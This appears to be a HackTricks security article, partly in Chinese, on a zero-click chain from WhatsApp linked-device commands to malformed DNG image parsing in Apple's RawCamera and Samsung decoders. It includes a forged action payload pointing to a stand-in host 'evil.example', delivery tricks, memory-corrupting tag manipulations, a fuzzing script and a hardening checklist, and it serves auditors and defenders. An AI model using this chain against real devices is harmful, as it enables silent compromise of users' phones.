Zero-click Messaging → Image Parser Chains

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

TL;DR

  • messaging app multi-device/companion protocols 当作远程控制通道:即便协议字段被假定来自受信任设备,它们仍可能由用户控制,并且常常可以直接重放到受害者以在0 用户交互下加载任意内容。
  • 一旦任何应用被强制去获取不受信任的媒体,就应把目标转向 shared OS media pipeline(iOS/macOS 上的 RawCamera,Android OEM 构建上的 vendor parsers),利用畸形文件从沙箱中跳出。
  • 本文讨论的基于 DNG 的 RawCamera 和 Samsung 解析器漏洞是具体示例,但完整技术是一个可重用的蓝图,用于串联 逻辑缺陷 → 图像解析器内存损坏 → 完整设备妥协

Remote content loading via WhatsApp linked-device commands

Attack surface recap

WhatsApp 的 “linked devices” 架构通过加密的结构化协议消息在主手机和每个 companion(桌面、平板、第二部手机)之间保持同步。每条消息编码:

  • Device metadata(设备 ID、能力、功能标志)。
  • Action descriptors(例如,同步聊天、获取缩略图、呈现远程内容)。
  • Arbitrary parameters,例如 URI、MIME 提示、分页键等。

在 Apple 客户端上,处理这些 linked-device 控制包的处理程序隐式信任已经完成配对,因此高影响字段(例如 resource_urlopen_mediasync_snapshot)仅做了最小验证。恶意的 companion 消息因此可能:

  1. 被路由到任何由其电话号码标识的账号。
  2. 在传输栈(Noise protocol + WhatsApp protobuf framing)中存活,因为接收方从未验证发送方是否为真正配对的设备。
  3. 到达 iOS 客户端,在那里易受攻击的代码路径会自动触发对攻击者 URL 的后台 HTTP(S) 请求,并在隐藏的 WebView/media renderer 中解析响应。

Practical workflow for auditors

  1. Capture legitimate linked-device traffic. 附加调试器或 Frida 脚本到桌面/iOS 客户端并 hook 解密后处理程序(例如 LinkedDevicesSyncHandler::processAction)。转储解码后的 protobuf 有效负载以了解可用的 action 类型和参数。
  2. Identify fields that cross trust boundaries. 任何携带 http_urlthumbnail_uridownload_urlrender_html 参数且没有严格允许列表的 action 都是远程内容原语的候选项。
  3. Forge a malicious action. 复用观测到的 protobuf 模式,仅修改攻击者可控的字段。下面显示了相关逻辑结构的简化 JSON 视图(实际传输是 protobuf/Noise,但语义字段相匹配):
{
"op": "sync_action",
"device_id": "<attacker-companion>",
"payload": {
"target": "content_sync",
"resource_url": "https://evil.example/payload.html",
"media_type": "image/dng",
"flags": ["background_fetch", "render_inline"]
}
}
  1. Deliver to the victim. 通过同一 WhatsApp 服务重放精心构造的数据包,该服务通常转发 linked-device 流量(例如使用修改过的桌面客户端或重用你的攻击者账号密钥的自定义 Noise 客户端)。因为 CVE-2025-55177 未能将操作绑定到已认证设备,目标 iOS/macOS 客户端会接受该消息并在无任何 UI 的情况下立即获取攻击者 URL。
  2. Instrument the fetch. 观察被强制发起的 HTTP(S) 请求和内部渲染器 (WKWebView/ImageIO)。此时你已经在 WhatsApp 内部获得了一个 zero-click web delivery primitive。

Weaponizing auto-decoded DNGs against RawCamera

一旦攻击者控制了 WhatsApp 加载的内容,下一个目标就是让 iOS/macOS 使用 RawCamera 框架解析一个恶意的 Digital Negative (DNG) 文件。任何解析为 .dng 的嵌入 <img>/CSS URL 都会被传递到系统图像流水线,调用 RawCamera,即便 WhatsApp 本身并未显式处理 DNG。

Triggering RawCamera from WhatsApp

  • Serve HTML that references the DNG via multiple mechanisms (e.g., <img src="evil.dng">, CSS background-image: url('evil.dng'), or <picture> sources) to cover different render paths.
  • Ensure correct MIME (image/x-adobe-dng) and small previews so the loader does not bail early because of size heuristics.
  • The iOS media sandbox will stream the file into RawCamera via CGImageSourceCreateWithURL, eventually hitting the vulnerable decoder.

Crafting memory-corrupting DNGs (CVE-2025-43300 style)

复现的漏洞依赖于不一致的元数据,使得缓冲区分配与实际像素读取不同步。典型的杠杆包括:

  • Tile/strip descriptors: 将 TileByteCounts/StripByteCounts 设为合理值,但将 TileOffsets 增大到指向已分配缓冲区之外。
  • Sub-IFD chains: 嵌入具有冲突 ImageWidth/ImageLengthBitsPerSample 的次级图像,使 RawCamera 计算出较小的缓冲区,而后续阶段则信任攻击者控制的尺寸。
  • Opcode metadata: 操纵 OpcodeList3 条目,使每行处理在攻击者选择的索引上运行。

A basic mutation harness to hunt for such corruptions can be built around macOS, since the same RawCamera code ships on macOS/iOS/iPadOS:

#!/bin/bash
set -e
for sample in corpus/*.dng; do
radamsa "$sample" > /tmp/poc.dng
/System/Library/CoreServices/RawCamera.bundle/Contents/MacOS/RawCamera /tmp/poc.dng >/tmp/out 2>&1 || {
mv /tmp/poc.dng crashes/$(date +%s).dng
}
done

每次在 RawCamera 中的 crash 都会给你一个新的 primitive。公开的 PoC 实现了一个干净的 越界读/写(out-of-bounds read/write),其可靠性足以在 iPhone、iPad 和 Mac 上造成 WhatsApp 崩溃。

构建 0-click 链

  1. Linked-device 数据包 → 强制 WhatsApp 在无需任何点击的情况下获取 https://evil.example/payload.html
  2. Payload HTML → 静默引用 evil.dng,保证 OS 媒体栈调用 RawCamera。
  3. 恶意 DNG → 滥用构造的 tag 触发 RawCamera OOB 并崩溃/控制图像解码器。
  4. 破坏后利用 → 添加 info-leak gadgets(例如滥用可预测的堆元数据)并部署 ROP/JOP 链以突破 WhatsApp 沙箱并进入更有权限的上下文。

因为每一步都是自动的,攻击者只需要受害者的电话号码。目标设备上不会显示通知、横幅或提示。

Samsung 厂商图像解析器的相似性

Samsung 关于 CVE-2025-21043 的公告确认,他们的专有图像解析栈(Gallery、Messages 使用的,且也会间接被 WhatsApp 使用)存在可通过不受信任媒体触及的 越界写。利用方法与 Apple 链类似:

  • 找到一个自动预览向量(聊天缩略图、通知预览、共享面板),该向量使用 Samsung 的 libimagecodec/libOneUI_ImageDecoder 库解析攻击者文件。
  • 对 OEM 库更新做差异比对或用畸形的 RAW/DNG 文件对解析器进行 fuzz,直到看到类似 RawCamera 崩溃的内存破坏(堆元数据被篡改、寄存器控制等)。
  • 通过任何已自动加载内容的渠道投递构造文件(例如同样的 linked-device primitive、WhatsApp 预览抓取器,或 Android 的 push-to-talk 波形预览)。

一旦厂商解析器存在 OOB 写,结合 WhatsApp 的自动抓取 primitive 就能在 Samsung 设备上形成另一个 zero-click 链。

测试与加固清单

  • 协议验证:对每个 linked-device 操作执行严格的 allow-list。请求抓取/渲染的配套命令必须证明设备配对(对 payload 签名)且 URL 应匹配 allow-list 或已签名的数据块。
  • 传输重放对策:将每个操作绑定到设备特有密钥,并拒绝发送者密钥未知的包,即便 protobuf 语法正确。
  • 媒体流水线限制:高层应用应仅允许经批准的 MIME 类型,并在非必要时明确拒绝 RAW/DNG。
  • 解析器模糊回归测试:保留一组畸形 RAW/DNG 文件,并在每次更新后对 RawCamera/厂商解码器进行测试。
  • 崩溃分诊自动化:在模糊测试设备上附加 DYLD_INSERT_LIBRARIES sanitizer 或 MTE,以在攻击者之前捕获微妙的 OOB 情况。

References

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks